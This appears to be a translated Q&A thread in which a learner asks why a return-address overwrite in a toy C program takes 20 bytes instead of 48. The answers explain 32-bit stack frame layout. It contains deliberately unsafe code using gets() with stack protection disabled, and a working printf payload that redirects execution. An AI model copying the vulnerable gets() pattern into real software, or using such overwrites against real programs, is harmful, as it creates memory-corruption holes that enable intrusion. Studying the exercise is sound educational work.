缓冲区溢出在预期之前出现

时间:2013-03-12 21:18:03

标签: c assembly gdb reverse-engineering

我正试图控制堆栈溢出。首先,这是我在x32 VM Linux(gcc -fno-stack-protector -ggdb -o first first.c)上编译的C代码示例,

#include "stdio.h"

int CanNeverExecute()
{
    printf("I can never execute\n");
    return(0);
}

void GetInput()
{
    char buffer[8];

    gets(buffer);
    puts(buffer);
}

int main()
{
    GetInput();
    return(0);
}

然后调试器(intel flavor):转储函数GetInput的汇编程序代码:

0x08048455 <+0>:    push   ebp
0x08048456 <+1>:    mov    ebp,esp
0x08048458 <+3>:    sub    esp,0x28
0x0804845b <+6>:    lea    eax,[ebp-0x10]

这里我们可以看到sub esp,0x28为缓冲区变量保留了40个字节(对吗?)。 CanNeverExecute函数位于地址0x0804843c。 因此,为了运行CanNeverExecute函数,我需要将40个字节放入缓冲区变量,然后为存储的基本指针输入8个字节,然后我希望更改8个字节的返回指针。

所以,我需要一串48个ASCII符号加上\x3c\x84\x04\x08CanNeverExecute函数的地址)。这是理论上的。但实际上,在返回指针的地址之前我只需要20个字节:

~/hacktest $ printf "12345678901234567890\x3c\x84\x04\x08" | ./first
12345678901234567890..
I can never execute
Illegal instruction (core dumped)

为什么它只需要20个字节而不是48个字节?我的错误在哪里?

2 个答案:

答案 0 :(得分:9)

首先,你的程序集是32位。保存的EBP和返回地址各为4个字节。

其次,buffer变量不从堆栈顶部(ESP)开始 - 它从ebp-0x10开始。距离返回地址20个字节。 0x10是16个字节,然后是保存的EBP的4个字节。

答案 1 :(得分:2)

如果你采取更大的反汇编部分,你会看到:

08048445 <GetInput>:
8048445:    55                      push   %ebp
8048446:    89 e5                   mov    %esp,%ebp
8048448:    83 ec 28                sub    $0x28,%esp
804844b:    8d 45 f0                lea    -0x10(%ebp),%eax
804844e:    89 04 24                mov    %eax,(%esp)
8048451:    e8 9a fe ff ff          call   80482f0 <gets@plt>
8048456:    8d 45 f0                lea    -0x10(%ebp),%eax
8048459:    89 04 24                mov    %eax,(%esp)
804845c:    e8 9f fe ff ff          call   8048300 <puts@plt>
8048461:    c9                      leave  
8048462:    c3                      ret   

保存ebp,esp移动到ebp,然后从esp中减去40(堆栈帧,如你所写), 但是指向缓冲区的指针是通过eax寄存器传递的,而eax是用ebp-0x10加载的!

lea    -0x10(%ebp),%eax

所以你只需要20个字节来溢出缓冲区(16个保留+4个用于32位系统上的存储基址指针)